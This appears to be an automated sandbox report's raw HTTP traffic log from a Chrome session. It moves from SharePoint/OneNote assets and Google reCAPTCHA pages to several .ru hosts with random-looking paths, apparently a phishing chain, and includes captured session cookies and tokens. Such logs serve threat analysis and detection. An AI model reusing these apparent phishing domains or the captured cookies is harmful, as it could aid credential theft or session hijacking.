Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&s=p3PtVr9Rtc4zmVzsCHKovX43dv5ANmW4EHR9iS5ZRMIIERAfjGKzDw3w1miK0y9PbgnSQoncU4tpDcwY7U7I3H8AzWBIeIONPriGr-t350iz5rLlDnHnMsn8yHgPokxAlmiESfF9AloqhxAdR76omyagk91xvML4Zgl45cqaApyGFdTskMdQ5ovLMg_jWYZPNfaQGMkckH4WakBpGFZsgOrmbnGxvK-bAkHbTTEPDuj2EcntrL5pG7v9LQ6p5TbmtOdzjdBPXkSX3nRP41yJg3vY3C02z8E&cb=b3wwlq48xfop HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /wise/owl/onenote-boot.54b073a3a339f2b9cd42.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&s=p3PtVr9Rtc4zmVzsCHKovX43dv5ANmW4EHR9iS5ZRMIIERAfjGKzDw3w1miK0y9PbgnSQoncU4tpDcwY7U7I3H8AzWBIeIONPriGr-t350iz5rLlDnHnMsn8yHgPokxAlmiESfF9AloqhxAdR76omyagk91xvML4Zgl45cqaApyGFdTskMdQ5ovLMg_jWYZPNfaQGMkckH4WakBpGFZsgOrmbnGxvK-bAkHbTTEPDuj2EcntrL5pG7v9LQ6p5TbmtOdzjdBPXkSX3nRP41yJg3vY3C02z8E&cb=b3wwlq48xfopAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /js/bg/lkTXq49YG5_ej1w7m4T9Nw_1Lx1Ocd1gteWQpsfV_Tk.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&s=p3PtVr9Rtc4zmVzsCHKovX43dv5ANmW4EHR9iS5ZRMIIERAfjGKzDw3w1miK0y9PbgnSQoncU4tpDcwY7U7I3H8AzWBIeIONPriGr-t350iz5rLlDnHnMsn8yHgPokxAlmiESfF9AloqhxAdR76omyagk91xvML4Zgl45cqaApyGFdTskMdQ5ovLMg_jWYZPNfaQGMkckH4WakBpGFZsgOrmbnGxvK-bAkHbTTEPDuj2EcntrL5pG7v9LQ6p5TbmtOdzjdBPXkSX3nRP41yJg3vY3C02z8E&cb=b3wwlq48xfopAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.onenote.35d48d34e42016447de5.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://usigroups-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.onenote.slim.069109c7fede470e418e.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://usigroups-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://usigroups-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
Source: global traffic	HTTP traffic detected: GET /1L9z9v39/ HTTP/1.1Host: 4odq.cxnev1.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InFNR1c0ZU5jUjJqZkRoa3NtcU1jaXc9PSIsInZhbHVlIjoia2hKZ2JIWXVkaGF3VzZsbFBuVS9sOTRJdVdEY3BsclFYdVVTMGI4RnlXSUJVOUhSMEN1SnNCTUlKdTNBemxrVVlEOFFVMEdTNm5vMjlmbjNDVXErYWcvQ1VtdEFzN3pOY3hWUkdETWRGb2QxbEpPdzhLMFZNQURqc0E5WTB6YnMiLCJtYWMiOiIxZDFhYjFlYjA3NTNkYzhlYmEyYmIzMWYyNDFmY2VjOWNiMmFiOGVkN2Q2NjAwZDUzNzA1MDc4NGExMDYzMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhrZjdLYW93U2E3akpXYXc2REdBSmc9PSIsInZhbHVlIjoiaFQ5UVVJZnc3a0UwbVVyMHR1cElRKzlsUUEybGRNajgrelJQV3kyN01CYmVzSmYwazlIK2NMMXVYK2J6WUxnY1lKc0VsUTFtdHZVQkRyUUcvd2Y1RE14WDl2NjVQSXdmS0J5c211Z0UwcXJmSWxzcWRFVWNVZjYrVEtxaHEyS1YiLCJtYWMiOiJmNTRjMDkzMWM2YTZmYTczMDFjN2ZjZWFhOTA5NDkyMTNmZTYwN2NlMGRkNjYyMWNhYTVmZGQ2YmJhNzc5N2Q2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wgwecuyrjynbdoiaykpnbvmnXYETVYOLWICJNNPRMAYLKOONDAVSTN HTTP/1.1Host: fdexa.nhol.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://4odq.cxnev1.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wgwecuyrjynbdoiaykpnbvmnXYETVYOLWICJNNPRMAYLKOONDAVSTN HTTP/1.1Host: fdexa.nhol.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js?render=explicit HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=63zqkenm1gfs HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=63zqkenm1gfsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /1L9z9v39/ HTTP/1.1Host: 4odq.cxnev1.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ikw5MkRiK0x2ZDg1UW1ha2xmb1BSRUE9PSIsInZhbHVlIjoiTmE2Q0ZBVTBvbTJHUEJCMVduNWx4UG1CZmg4Um5GeXNlWHIrRGNDcmZvNGZwRll0V0d1N1A3RDBUUFhzQ3J4SW9neGRGdTNnSWtFUThRdWFFVWxSa05HNDI4QVQwaE84YnJEVSs5NW9wU1Y0TzBrSGFjNGRtMk5XclJnOU1GTVAiLCJtYWMiOiJiYjdhYWE5ZDJiMTljNzJkYWI3NzdhZTQxODRmYWJhYjZlN2M5M2VmZDk1NzRmYzkyYmYwYmVmNWZkMDg4ZjZkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imp3Ky9MalFsZlpzdUErL29pczA5SFE9PSIsInZhbHVlIjoiRXlodTFXUW91UU1JdlVvek9uRDY2RGZMN21KWTBVVE5jYmx5MDhQTGJ5eVRHYkRuNVpIQmRqM0dFZlhrNnJBSmk5T3pldElpNUYxb0dPM1E1c3dPSEtjN0c0OWQ1VnVSV0ZKanBnUXh1Nlc1RnJVSUREOWROUnNjVStnQkRHVk8iLCJtYWMiOiJmM2M5YjE5YzIyYjZkODZmMjZlYzQyZDJmNDk3MWRjN2NlOTExMGVkOTcxZDcyNDk1YTljNDQ1MmE2MmM1MWQ1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
Source: global traffic	HTTP traffic detected: GET /SUVzboZNwimQDAeQjTbBsnxxfTAjvAelcAHJQEVAPOHTVABUGSGQZJDIRYQLFYZOZDQHIECNULIQVSPL HTTP/1.1Host: fnfi.kewtdz.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://4odq.cxnev1.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=c7ns1b39xrgu HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://4odq.cxnev1.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
